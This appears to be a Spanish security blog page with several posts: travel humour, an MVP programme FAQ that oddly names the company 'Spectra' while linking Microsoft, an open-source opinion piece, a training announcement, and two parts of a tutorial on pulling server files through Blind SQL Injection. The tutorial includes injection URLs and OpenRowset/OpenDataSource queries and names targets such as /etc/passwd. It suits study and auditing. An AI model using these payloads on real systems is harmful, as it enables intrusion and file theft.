Sí, hemos cruzado el Atlántico, he tenido que superar y aun tengo que luchar con mis carencias con el inglés, nos hemos gastado una pasta para estar aquí, pero sólo por las experiencias del día de ayer hubiera pagado mucha pasta, así que, mientras me sigan aceptando en conferencias como estas jamás rechazaré la invitación.

Saludos Malignos!

viernes, febrero 06, 2009

La seguridad importa en esta empresa:
Resumen Gráfico by Palako

Hola amig@s,

estamos en Washington y se confirma, Palako dice que ronco, pero no me estraña, después de la cena en el mundo asíatico, no me extraña que haya confundido con ronquidos el ruido de...

El caso es que tenemos que preparar la charla y hemos cogido algunas imágenes que representan lo que es trabajar en el departamento de seguridad en una empresa dónde la seguridad se la trae al pairo. Ahi va el resumen gráfico commentted by Palako.

Aplicando política de seguridad

Comentario de Palako: Verás, Favianna*, en esta empresa la seguridad es muy importante. Tendrás tu cuenta de Administrador en tu equipo, pero promete no utilizarla excepto para instalar programas. Para todo lo demás, usa tu cuenta de usuario sin privilegios. Tu contraseña debe incluir mayúsculas, minúsculas, números, caractéres no imprimibles, y debe tener una longitud mínima de 13 caracteres. La de Administrador 14. Recuerda limpiar los metadatos de tus documentos ofimáticos cuando los vayas a enviar por correo, y bueno, lo de las zonas de seguridad del navegador doy por hecho que ya lo sabes, ¿no?


En esta foto el administrador le ha dicho a la usuaria lo que debe hacer y no hacer para cumplir las políticas de seguridad de la compañía

*Favianna es un homeanje a nuestro proveedor gratuito de Wifi en el hotel. No entiendo muy bien lo que decía la de recepción de pagar $12,95 por día....

Fortificando la seguridad perimetral
Comentario de Palako: Vease como el mundo de la seguridad también ha sucumbido a las redes sociales. El mejor trabajo siempre es el colaborativo, en grupo. Mira con que dedicación y detalle trabaja Rodrigo*, el último de la fila, en que todo salga sin posibilidad alguna de fallo...


En la instantanea se puede ver al adminitrador trabajando en fortificar la superficie expuesta de la empresa

*Rodrigo es representante sindical y acaba de salir de una reunión con la patronal en la que le han comunicado que, por la crisis, este año no habrá subidas excepto para la dirección y para él. Ha sido una negociación muy dura. Esta pensando como decirselo a sus compañeros.


Hay un problema en la red. Mirando los logs

Comentario de Palako: ¿Eres analista forense o lo quieres ser? ¿Te quejas de que no puedes desarrollar tu profesión en España porque las empresas no invierten en "saber que ha pasado"...? bueno, pues aquí tienes un ejemplo de cómo es en realidad.... a nadar en un montón de mierda a ver si encuentras algo. En la foto puedes ver a un experto análista forense y a su ayudante becario mirando los logs... ¿sabes quién es quién?


Algo huele podrido en la red, las cosas no van como debían

Saludos Malignos

jueves, febrero 05, 2009

Usado

¡Ya estoy en los USA!

…y sí, sé que algunos lo preferís, pero sé que otros os quedáis sin posibilidades de calzar comentarios y desahogaros de ese día que se levanta torcido pero… necesitaba un poco de tiempo. Después de 3 días durmiendo 4 horas cada noche (porque no tenía ni un minuto libre) no he podido más y os he tenido que dejar unos post técnicos.

Tanto si los preferís como si no, los posts técnicos tienen ese nosequé, que quéseyo que hace que no lleguen tantos comentarios que tenga que contestar.

¿Esto quiere decir que no me gusta que comentéis? Al contrario, me encanta, pero cuando se me acumulan 50 comentarios y 100 mails y no tengo tiempo me crea un poco de ansiedad.

Así que, como buenos chicos, os los leéis y esperáis a que yo regrese de Washington D.C. de la Schmoocon 2009 que tenemos Obama, Palako y yo que intercambiar unas palabritas sobre Windows Mobile.

Sí, este tema que se suponía una tontería parece que trae locos a los servicios de seguridad nacional. Tanto es así, que se rumorea por aquí que hubo pucherazo por parte de la NSA en las elecciones para que ganara Obama porque por lo visto según me ha dicho la del Starbucks del connection center de Philadelphia la Sarah Palin quería tener un ay!fon y por ahí sí que no iban a pasar… y total.. ¡será la primera vez que se cepillan a un preside… ouch!

Eh, oigan! Déjenme en paz… que estoy posteando en mi …

RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II de VI)

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

RFD en Microsoft SQL Server 2000 y 2005 mediante fuentes de datos infrecuentes

Microsoft SQL Server permite utilizar fuentes de datos externas, o lo que es lo mismo, orígenes de información fuera del motor Microsoft SQL Server a los que se pueda acceder mediante cualquier OLE DB Data Provider. Un OLE DB Data Provider es un manejador de una fuente de información que oferta un interfaz de acceso común OLE DB a cualquier aplicación que lo utilice. Estas fuentes externas pueden ser servidores de bases de datos remotos del mismo o de distintos fabricantes o repositorios de información que van desde ficheros Microsoft Excel, bases de datos Access, DBase, ficheros XML hasta ficheros de texto plano “txt” o separados por comas “csv”. De hecho, una fuente de datos externa podrá ser cualquier fuente de información accesible por un OLE DB Data Provider que el servidor tenga cargada y se convertirá en un OLE DB Data Source, es decir, en una fuente de datos externa accesible mediante un OLE DB Data Provider.

El proceso de agregar fuentes de datos externas es una tarea de administración que se ejecuta mediante el enlazado de estos orígenes. Este proceso se puede realizar utilizando la herramienta de administración o bien con el uso del procedimiento almacenado sp_addlinkedserver, sin embargo, Microsoft SQL Server permite realizar conexiones ad-hoc a fuentes de datos externas infrecuentes, es decir, a aquellos orígenes de datos a los que se accede en contadas ocasiones. Para ello el lenguaje Transact-SQL de Microsoft SQL Server cuenta con dos comandos distintos. La función OpenRowSet que va a permitir acceder a cualquier fuente externa que devuelva un conjunto de registros y la función OpenDataSource, que permite lanzar una consulta sobre una fuente de datos externa enlazada ad-hoc.

En un entorno vulnerable a SQL Injection se permitiría acceder a ficheros del servidor que pudieran ser accesibles por un OLE DB Data Provider, y extraerlo mediante una técnica de booleanización. Por ejemplo, para extraer los datos de un fichero “c:\dir\target.txt” en el servidor de bases de datos dónde se ejecuta el motor Microsoft SQL Server utilizado por una aplicación web vulnerable y explotable por Blind SQL Injection podríamos utilizar el un proceso de booleanización sobre la siguiente inyección:

http://server/app.cod?param=1 and 256 > (ASCII(Substr(select * from OpenRowset('MSDASQL', 'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\External;','select top 1 * from c:\dir\target.txt’),1,1))

En este ejemplo la inyección carga la primera fila del fichero target.txt, se queda con el valor ASCII de la primera letra y lo compara con el valor 256. Obviamente es una comparación que siempre dará TRUE, pero ilustra cómo se debe realizar el proceso de booleanización. Una vez descubierto el valor de la primera letra, el proceso se repetiría para las siguientes letras de la primera fila del fichero hasta que se llegará al final de la línea dónde se debería repetir el mismo proceso para las siguientes líneas del fichero hasta obtenerse el fichero completo.

En este caso, el driver Microsoft Text sólo permite acceder a ficheros con extensiones “txt”, “csv” o “tab” por lo que nunca se podría acceder con OpenRowSet u OpenDataSource a ficheros log, bak, old, o cualquier extensión distinta. Sin embargo sí es posible acceder a datos almacenados en ficheros Microsoft Office “mdb”, “xls”, o cualquier otro formato para el que el servidor tenga cargado un OLE DB Data Provider. Por ejemplo, para acceder a los datos de un fichero Microsoft Excel o a en un fichero Access almacenado en el servidor se podría realizar consultas como las siguientes:

SELECT * FROM OPENROWSET ('Microsoft.Jet.OLEDB.4.0',’Excel 8.0; DATABASE=c:\Excel.xls','Select * from [Libro1$]')

SELECT * FROM OPENDATASOURCE ('Microsoft.Jet.OLEDB.4.0', 'Data Source="c:\Excel.xls"; User ID=Admin; Password=;Extended properties=Excel 8.0')...Libro1

SELECT * FROM OPENDATASOURCE ('Microsoft.Jet.OLEDB.4.0','Data Source="c:\ACCESS.mdb"; User ID=Admin; Password=')...Tabla1

SELECT * FROM OPENROWSET ('Microsoft.Jet.OLEDB.4.0', 'c:\Access.mdb';'admin';'', Tabla1)


En todos estos casos, como se puede apreciar en las consultas, no es un acceso directo al fichero sino a los datos almacenados en él y por tanto, es necesario conocer información de la estructura de los datos. En los ejemplos se muestran datos de usuarios y contraseñas, pero estos no serían necesarios si, como sucede en la gran mayoría de las ocasiones , los ficheros de Microsoft Access y Microsoft Excel no tiene habilitados explícitamente un usuario y una contraseña.

Restricciones y permisos para uso de fuentes de datos infrecuentes

En los ejemplos de la sección anterior, para poder trabajar con OPENDATASOURCE y OPENROWSET es necesario que la clave de registro DisallowAdhocAccess del proveedor que se va a utilizar este fijado a cero.

Las claves de registro donde se configuran los proveedores, entre ellos el proveedor Microsoft.Jet.OLEDB.4.0 visto en los ejemplos, se encuentran en la rama de registro, si se trata de una instancia sin nombre:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers

O en caso de que se trate de instancias con nombre en:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\\Providers

Si la clave de registro no existe, el comportamiento varía según los privilegios del usuario que se conecta a la base de datos ya que si el usuario posee el rol “Server Administrators” tendrá permitido el acceso mientras que si por el contrario el usuario no posee este role tendrá denegado el acceso.

Por defecto el proveedor Microsoft.Jet.OLEDB.4.0 no establece la clave de registro DisallowAdhocAccess y por lo tanto impedirá el acceso a fuentes de datos externas salvo que el usuario posea el rol “Server Administrators”.

Estas son las únicas restricciones a la hora de utilizar OPENDATASOURCE y OPENROWSET, los permisos de acceso sobre los ficheros Microsoft Excel o Access vendrán determinados por los permisos del usuario que se le pase al proveedor OLE DB.

En Microsoft SQL Server 2005 además, el acceso a fuentes de datos externos esta desactivado por defecto como parte de la configuración de Seguridad, para modificar esta configuración una administrador puede utilizar el procedimiento almacenado sp_configure o la herramienta de administración Surface Area Configuration for Features y habilitar las consultas Ad hoc


Activación de fuentes de datos infrecuentes en Microsoft SQL Server 2005

Extracción de ficheros

Si se cumplen todos los requisitos necesarios del entorno bastaría aplicar un proceso de booleanización como el descrito en el apartado 3 mediante la inyección de una llamada al fichero que se quiere acceder como si fuera una fuente de datos infrecuentes. Así, la inyección SQL quedaría de la siguiente forma:

http://server/app.cod?param=1 and 256 > (ASCII(Substr(select * from OpenRowset('MSDASQL', 'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\;','select top 1 * from c:\dir\target.txt’),1,1))

Como se puede ver se está accediendo al fichero “c:\dir\target.txt”. Este será cargado entero como una única cadena alfanumérica que va a ser recorrida durante el proceso de booleanización con la función substring. Cada carácter va a ser convertido a su valor ASCII y comparado con un índice para averiguar el valor correcto. Una vez llegado al final del substring se habrá terminado de acceder al fichero completo.

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

miércoles, febrero 04, 2009

Mamá, ¿qué es un Spectra MVP?

Muchas veces me han preguntado qué es eso de ser MVP o cómo se consigue ser MVP así que creo que va siendo hora que os cuente un poco sobre ello desde mi perspectiva y mi experiencia vivida en primera persona.

Mi caso

Sí, soy un MVP de Spectra, un Most Valuable Professional o Most Valuable Pet o Más Vicioso del Pueblo o lo que más os guste. Soy MVP desde el año 2004 (si no recuerdo mal). En España somos unos 60 y en el mundo unos 2.500. Cada uno/s en un área de especialidad distinta. Lo soy en el área de seguridad, actualmente soy Most Valuable Professional en el área de Enterprise Security. Juan Luís Rambla y Bernardo Quintero son los dos otros MVPs de seguridad en España.

La nominación

Yo nunca pedí ser MVP, de hecho, me enteré que era MVP después de ser nominado y reconocido como MVP. Esa es una regla de oro, no se pide, ni se solicita, ni se presenta uno a un examen que aprobar. Simplemente algún otro MVP o algún responsable del programa presenta su candidatura. Sí, yo puedo presentar la candidatura de otros MVPs y de hecho he presentado a varios. Algunos han sido aceptados otros no.

¿Por qué te dan el premio?

Es un Award que se concede en base a dos motivos. Motivo uno: compartir conocimiento a la comunidad de usuarios (sea de la forma que sea). Y dos: por ser un profesional de tu área. Esto se cumplirá en más o menos medida y por tanto hay un comité que evalúa las candidaturas anualmente en base a lo que se ha realizado durante el año anterior.

La duración

Ser MVP es un premio anual, que te pueden renovar o no anualmente en función de tu actividad. Hay muchos buenos MVPs que han dejado de serlo porque profesionalmente no podían seguir haciendo las aportaciones que hacían antes o porque su situación personal es distinta. No es un premio vitalicio y se supone que todos dejaremos de ser MVP en algún momento. Mi renovación es siempre en Junio.

Incompatibilidades

Sólo hay una incompatibilidad, no puede ser MVP de Spectra y trabajar en Spectra, pero no hay ninguna otra. Puedes ser trabajador de Google, de Yahoo! o incluso ser crítico con Spectra y participar en grupos de usuarios de Open Source o Software Libre, no pasa nada.

El premio

La recompensa por ser MVP es una suscripción Technet o MSDN anual, 100 o 150 dólares para gastar en la tienda interna de Spectra y derecho a recursos internos, webcasts, libros, interacción con grupos de producto y poco más. Aps, sí, un regalo anual que suele ser un pendrive, un ratón bluetooth o algún otro detalle.

¿Son todos los que están?

Como en todas las cosas, no todos los que están demuestran ser merecedores del título y sí es cierto que alguno lo consigue no sé muy bien cómo, pero lo que sí es cierto es que el 99% lo merece. Algunos lo pierden al año, luego el programa se regenera.

¿Están todos los que son?

No, ni mucho menos, hay muchos que merecerían tener el premio y en el área de seguridad, dónde Mark Russinovich fue MVP de seguridad y dónde ahora lo son en España Bernardo Quintero o Juan Luís Rambla se me ocurren muchos nombres de personas que técnicamente merecerían el premio antes que yo.

¿Alguien lo ha rechazado?

Sí, sobre todo al principio, que no se conocía tanto el programa y mucha gente estaba mal informada de los objetivos del programa o incluso que estaba mal visto en algunas areas.

¿Firmamos algún NDA?

Sí, tenemos firmado un NDA para que nos informen de cosas 1 hora antes de que sea vox populi en Internet.

¿Nos obligan a decir algo en concreto u opinar de alguna forma?

Absolutamente NO.

Y con esto creo que más o menos contesto todas las dudas, ¿no? Si tenéis alguna duda más, la ponéis en los comentarios y listo.

La lista de los MVPs actuales la tenéis en esta URL: http://mvp.support.microsoft.com/

Saludos Malignos!

martes, febrero 03, 2009

RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I de VI)

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

El presente artículo es sólo una pequeña vuelta de tuerca más a las técnicas de SQL Inyection para extraer, en este caso, ficheros del servidor dónde está instalado el motor de las bases de datos. Para que entendamos de que trata el trabajo tomemos el siguiente ejemplo: Supongamos un cliente A que se conecta a una aplicación web vulnerable a Blind SQL Injection B. Supongamos que esta aplicación vulnerable se conecta a un motor de base de datos que se ejecuta sobre el servidor C. Una vez entendido quién es A, quién es B y quién es C, la idea es tan sencilla como que ficheros de C sean descargados a A. Estos ficheros pueden ser tan famosos como boot.ini, la sam, /etc/passwd o tan anodinos como datos.dat.

En las partes que ocupará este trabajo se analizará en detalle cómo se puede perpetrar un RFD, es decir, una descarga remota de un fichero, utilizando Blind SQL Injection. Para ello se analizará la metodología de trabajo, las características de cada uno de los motores que se van a tratar, a saber: Microsoft SQL Server 2000, 2005 y 2008, Oracle versiones "i" y "g" y MySQL. Además, finalizaremos con un recorrido de las herramientas existentes y algunas opciones de fortificación y securización del entorno. Así que, si te apetece descubrir cómo se hace, comencemos por el principio.

Booleanización de datos

Para poder extraer información de una base de datos mediante un ataque Blind SQL Injection es necesario ser capaz de evaluar las respuestas del sistema y definir una clasificación entre respuestas Verdaderas o Falsas. Las respuestas Verdaderas serán aquellas que corresponden al comportamiento de la aplicación web tras la ejecución de una consulta en la que se ha inyectado una condición lógica verdadera, por ejemplo: “and 1=1” y las respuestas Falsas corresponderán al comportamiento de la aplicación ante la ejecución de una consulta en la que se inyecta una lógica falsa, por ejemplo: “and 1=2”. Al proceso de formular el criterio de decisión se le llama booleanización, con independencia de cuál sea el aspecto del comportamiento de la aplicación a considerar para construir dicho criterio.

Teniendo en cuenta el tipo de dato que se defina para cada parámetro de la base de datos, la booleanización de un dato de tipo numérico se realiza mediante el uso de comparaciones de tipo “mayor que” o “menor que” entre el dato que se intenta inferir y unos índices de referencia. Implementando un algoritmo de búsqueda binaria entre los límites del tipo de datos se puede llegar a inferir el resultado sólo obteniendo respuestas Verdadero o Falso.

Si el dato al que se desea acceder es de tipo alfanumérico, el proceso de booleanización requiere que la inferencia se realice carácter a carácter, es decir, si el dato es de diez caracteres de longitud entonces el proceso consistirá en repetir diez veces la inferencia de un carácter. Para realizar la inferencia de un carácter éste se transforma en su valor ASCII equivalente. Una vez convertido el carácter en un valor numérico su inferencia se realiza como se ha descrito en el proceso de booleanización de datos numéricos. Por ejemplo, se supone que se desea extraer el valor del campo username de la vista all_users en un motor Oracle y este valor es “sys”. Teniendo en cuenta que el valor ASCII de la primera letra, es decir, la ‘s’ es el 115, el proceso de booleanización sería el siguiente:

255>(Select ASCII(Substr(username,1,1)) from all_users where rownum<=1 -> TRUE
128>(Select ASCII(Substr(username,1,1)) from all_users where rownum<=1 -> TRUE
64>(Select ASCII(Substr(username,1,1)) from all_users where rownum<=1 -> FALSE
96>(Select ASCII(Substr(username,1,1)) from all_users where rownum<=1 -> FALSE
112>(Select ASCII(Substr(username,1,1)) from all_users where rownum<=1 -> FALSE
120>(Select ASCII(Substr(username,1,1)) from all_users where rownum<=1 -> TRUE
116>(Select ASCII(Substr(username,1,1)) from all_users where rownum<=1 -> TRUE
114>(Select ASCII(Substr(username,1,1)) from all_users where rownum<=1 -> FALSE
115>(Select ASCII(Substr(username,1,1)) from all_users where rownum<=1 -> TRUE


En este punto se ha averiguado que el valor ASCII de la primera letra del nombre es 115 ya que no es mayor que 115 y es menor que 116. Y se pasaría a realizar el mismo proceso con la segunda letra. Se trata de un proceso iterativo, en ocasiones costoso, que finalmente permite obtener el resultado buscado.

El tratamiento de ficheros en el servidor depende de cada motor de Bases de Datos que se esté utilizando. Es necesario conocer el motor de base de datos y la versión para intentar la descarga de ficheros mediante un proceso de booleanización. Los motores de bases de datos modernos incorporan diferentes mecanismos para acceder a los ficheros del sistema operativo. Estos mecanismos, muy útiles en el desarrollo de aplicaciones, pueden volverse peligrosos si la configuración de seguridad en el motor de base de datos no es la adecuada.

RFD (Remote File Downloading): Metodología de Trabajo

Una vez que se han descrito los conceptos fundamentales para la extracción de datos mediante la técnica de booleanización es posible proponer una metodología para la evaluación de la vulnerabilidad de una aplicación frente ataques de Blind SQL Injection para la extracción de ficheros. La secuencia de pasos debería ser la siguiente:

1. Comprobar que la aplicación es vulnerable a ataques de SQL injection. Para ello es preciso verificar que es posible realizar una inyección que no alteré los resultados que devuelve la aplicación en su forma normal de trabajo, pero que demuestren la ejecución de los comandos. Un ejemplo sería sustituir un valor numérico por la llamada a la función ABS(). Si obtenemos el mismo resultado significa que se está ejecutando la función ABS, es decir, se puede inyectar código SQL.

2. Verificar si es posible realizar inyecciones que alteren el comportamiento durante la respuesta del sistema mediante inyecciones siempre verdaderas e inyecciones siempre falsas, como se ha visto en las imágenes 1 a 3. Si es así entonces se concluye que la aplicación es vulnerable a ataques Blind SQL Injection.

3. Determinar una función error que permita distinguir cuándo una inyección provoca una respuesta denominada verdadera y cuándo provoca una respuesta falsa. En este punto las posibilidades dependen del tratamiento de errores que se haya realizado en la aplicación, siendo siempre posible reducir la formulación de la función error a una alternativa basada en tiempos de respuesta. Este paso determina como se van a reconocer las respuestas Verdaderas o Falsas. Puede hacerse por una cadena que aparezca en la respuesta positiva que no aparezca en las respuestas negativas, o viceversa, o mirando el tiempo respuesta, o la estructura HTML o el hash de la página, etc… Es decir, reconocer las características de las páginas obtenidas en respuestas positivas y las características de las páginas obtenidas en respuestas negativas.

4. Seleccionar la estrategia a seguir para extraer ficheros del servidor. Existen dos posibilidades respecto a las fuentes de datos a utilizar: utilizar fuentes de datos externas, es decir, invocar directamente el fichero desde cada consulta o hacer uso de las opciones de carga masiva, es decir, volcar el fichero a una tabla y descargarlo de la tabla. En ambos casos se establece una fuerte dependencia con el motor de la base de datos que se esté utilizando que hacen necesario la determinación de las funciones específicas a usar.

5. Evaluar las limitaciones y entornos de permisos requeridos en cada caso. Será necesario determinar que privilegios son necesarios para poder utilizar en cada caso la fuente de datos seleccionada.

6. Implementar el proceso de extracción del fichero mediante un proceso de booleanización de datos.

Para el resto del artículo, vamos a suponer que se ha comprobado que la web es vulnerable y sabemos reconocer la respuesta positiva o True de la respuesta negativa o False. Vamos a analizar por tanto, como se realizaría la descarga remota de ficheros en los distintos motores de bases de datos.

*************************************************************************************************
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (I/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (II/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (III/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (IV/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (V/VI)
RFD [Remote File Downloading] en aplicaciones web con Blind SQL Injection (VI/VI)
*************************************************************************************************

lunes, febrero 02, 2009

Con tetas gordas

Tomando unos vinos es el momento perfecto para discutir un rato sobre lo humano y lo divino así que, cómo no, arreglar el mundo es uno de los temas principales. Esta semana tuve una conversación muy interesante sobre un ayuntamiento que sacaba un proyecto en el que obligaba que fuera software libre: “¿No te parece que es lo que debe hacer un ayuntamiento?”, me preguntaron.

La verdad es que es una pregunta buena en la que la contestación te va a situar inmediatamente en el lado del bien o en el lado del mal, pero que yo, con la madurez de algunos años a la espalda la veo bastante clara.

Creo que un ayuntamiento debe preocuparse del dinero de sus inversores, es decir, del dinero de todos sus ciudadanos para dar mejores servicios, reducir las listas en los hospitales, acortar el tiempo de respuesta de los bomberos o ambulancias, construir un nuevo centro deportivo, mejorar las infraestructuras contra lluvias y nevadas, abrir un nuevo centro de cultura (y si quieres dar clases de software libre en él) o cualquier cosa que sea mejorar la calidad de vida de sus vecinos.

El forzar los requisitos de forma excluyente por un modelo de negocio en un software es dar prioridad a que el código sea abierto en lugar de que el código sea de calidad y cumpla los requisitos para los que se necesita.

Imaginemos que se aplica ahora esto a todo el software de hospitales. No, no me refiero al software de los puestos de trabajo de los enfermeros, ATS y secretarias de doctor, me refiero al software que tenemos en las máquinas que se usan para operar, diagnosticar o tratar enfermedades. ¿Sería una decisión lógica? ¿Es importante que el software cumpla su objetivo con la mejor de la calidad o que sea software libre?

Respecto a la necesidad de que sea software libre.. ¿Por qué? ¿Para que los ciudadanos se lean el código? ¿Es eso lo que quieren los ciudadanos o es un guiño político lo que busca el gobierno de turno?

Pensando en eso, el código que se abre para que lo lean todos y lo mejoren, me viene a la mente la peta que tienen en Compiz Fussion, y que sirva de metáfora a quién la quiera ver sobre la ingeniería del software y los proyectos.

El 30 de diciembre Kristrian Lyngstol, principal desarrollador del core, escribía un mail a la lista de la comunidad de este proyecto denunciando la situación.

The reality is that there has been the equivalent of no progress since the merge. We've basically only been in maintenance mode. The reason for this, from my point of view, is a complete lack of direction and leadership.

La realidad es que la situación ha sido equivalente a ningún progreso desde la unión. Nosotros hemos estado básicamente en modo mantenimiento. La razón para esto, desde mi punto de vista, es una completa falta de dirección y liderazgo.

Al final, cuando se hace un proyecto de software libre, el sistema meritocrático tiende a no ser lo más efectivo cuando se desea avanzar. De esto se quejó amargamente Negroponte con el famoso ordenador de 100 dólares.

Our current situation is rather dark, but not without hope. We have very little development power, and we are risking loosing even more, and unless I'm missing something obvious, we haven't seen a single new core developer that contributes significantly to master, since the merge. We have, however, lost a few.

Nuestra situación actual es bastante negra, pero no sin esperanza. Tenemos muy poco poder de desarrollo, y estamos en riesgo de perder incluso más, y a menos que me olvide de algo obvio, no hemos visto ni un nuevo desarrollador del core que contribuya significativamente al master, desde la unión. Nosotros hemos, sin embargo, perdido unos pocos.

Compiz, como comenta "Sam", otro de los desarrolladores y único en contestar a esta carta, sólo cuenta con 1 desarrollador pagado a tiempo completo, lo que dice bastante poco de la creación del negocio y del futuro de los desarrolladores.

Además, ambos están de acuerdo en que “The code is undocumented, specially core, and not particularly pretty” lo cual no es lo mejor cuando se quiere generar conocimiento o se quiere que otros soporten el código una vez estos se hayan ido.

Sam termina su carta con una frase de un usuario que dice lo siguiente sobre Compiz:

"Dramatically ugly, unusable, slow, badly animated and unconsistent. Open source development without a serious, expert mantainers can result in chaotic grouth of the project and waste of human resources into pointless code. The Compiz-Fusion project is certainly the most representative example of all this"

“Dramáticamente feo, inusable, lento, malamente animado e inconsistente. El desarrollo Open Source sin serios, expertos mantenedores puede resultar en un caótico crecimiento del proyecto y un desperdicio de recursos humanos en código inútil. El proyecto Compiz-Fusion es ciertamente el ejemplo más representativo de esto."

¿Quiero decir que el Open Source sea malo? No, lo que quiero decir es que poner en un pliego de condiciones de un ayuntamiento que la tecnología deba ser OpenSource para hacer algo a medida e interno no es garantía de calidad y por lo tanto es tan poco acertado como poner que el proyecto interno y a medida deba ser escrito utilizando MacOSX. Es algo así como buscar a la mujer de tu vida porque tenga las tetas gordas. Pon el pliego de tus necesidades y deja a los ingenieros informáticos que te presenten proyectos. Después elige el mejor para tus ciudadanos y si es OpenSource o hay dos iguales y te gusta más el OpenSource, pues ¡pa´lante y a disfrutar las tetas gordas!

El mejor software será el que mejor solucione las necesidades de sus usuarios con mejor calidad y en este caso, en el que el dinero es de los contribuyentes, al mejor precio para que se puedan abordar otros proyectos. Limitar la competencia es limitar el esfuerzo en calidad de los competidores por el proyecto.

Saludos Malignos!

domingo, febrero 01, 2009

FTSAI en Zaragoza

FTSAI son las siglas que utilizamos para referirnos a la Formación Técnica en Seguridad y Auditoría Informática. Es una formación que hacemos para técnicos que quieren tocar y jugar de forma práctica con las técnicas hacker, las tecnologías de seguridad y las herramientas que se utilizan en tests de penetración, auditoría e informes forenses.

Hasta el momento el FTSAI se ha impartido sólo en Madrid pero, gracias a un acuerdo con el ITA [Instituto Tecnológico Aragonés] vamos a llevarlo a Zaragoza. La formación allí va a impartirse con un horario un tanto especial, ya que cada semana se impartirán 15 horas repartidas en dos jornadas completas, es decir, a partir del 16 de Marzo se impartirán las clases todos los lunes y martes. El total del curso son 150 horas lo que implicarán 10 semanas de formación que harán que estemos pateando Zaragoza durante mas o menos unos tres meses.. bien!

El ITA se ha movido para conseguir que el curso tenga además una subvención económica, con lo cual el coste final será menor del habitual. Así que, si eres de Zaragoza o alrededores no lo vas a tener mejor para realizarlo nunca.

Toda la información y la forma de inscribirte la tienes en la web del ITA: FTSAI en Zaragoza.

Saludos Malignos!

Estadísticas